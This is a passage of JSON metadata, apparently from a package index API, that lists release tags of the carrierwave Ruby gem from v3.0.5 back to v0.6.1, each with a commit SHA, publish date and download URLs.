2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"32519e0df2739d82dfd89e6ca206da41346bb47d","kind":"tag","published_at":"2017-10-04T01:49:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"63b9396960d7bbaa41f642c9ccd5519218c61103","kind":"tag","published_at":"2017-09-30T08:58:00.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"07dc4d7bd7806ab4b963cf8acbad73d97cdfe74e","kind":"tag","published_at":"2017-04-30T06:05:05.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"9a9c954a67e27b63b1cbef5e112ebe3542d1584b","kind":"tag","published_at":"2016-12-24T05:21:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0/manifests"},{"name":"v1.0.0.rc","sha":"1d2f26428fe944977a91fe5fdf2fb033d5a13239","kind":"tag","published_at":"2016-10-30T10:06:19.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.rc/manifests"},{"name":"v1.0.0.beta","sha":"c45699c318ca895f89fa3304204e48b5f1c411f1","kind":"tag","published_at":"2016-09-08T05:03:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.0.0.beta/manifests"},{"name":"v0.11.2","sha":"57923136a0a1fe55ab82875b8a3786194a3b2500","kind":"tag","published_at":"2016-05-06T15:15:36.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.2/manifests"},{"name":"v0.11.1","sha":"5837d6164017a2a274a03e5c170f3c0d62aac82f","kind":"tag","published_at":"2016-05-05T11:14:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.1/manifests"},{"name":"v0.11.0","sha":"0575791f77fe1c1f0d84de61eed07d0969d56505","kind":"tag","published_at":"2016-03-29T12:33:44.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.11.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.11.0/manifests"},{"name":"v0.10.0","sha":"3a0978a390de9d96d05e5befc40b2fabc27644cc","kind":"commit","published_at":"2014-02-26T23:07:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.10.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.10.0/manifests"},{"name":"v0.9.0","sha":"2e3881c400ced3a5ad6e3c4ffdc5fcf8c1ae32de","kind":"commit","published_at":"2013-07-06T22:01:10.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.9.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"e28e64460e81524357b5c786a259eb4dd87a95e6","kind":"commit","published_at":"2013-01-08T16:16:47.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.8.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"745db6e26f47adca3a28c93170b22216b5480f9a","kind":"commit","published_at":"2012-11-08T21:14:58.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"1bc66f66a0adad864985e76db007b7eacca0fb21","kind":"commit","published_at":"2012-10-19T20:29:49.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.7.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.7.0/manifests"},{"name":"v0.6.2","sha":"5ee108128b40f2067c23971884a0ebf53213c860","kind":"commit","published_at":"2012-04-13T03:34:21.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"9c6826394506bf41c94a30e41657a047bb099251","kind":"commit","published_at":"2012-04-03T00:51:41.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v0.6.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v0.6.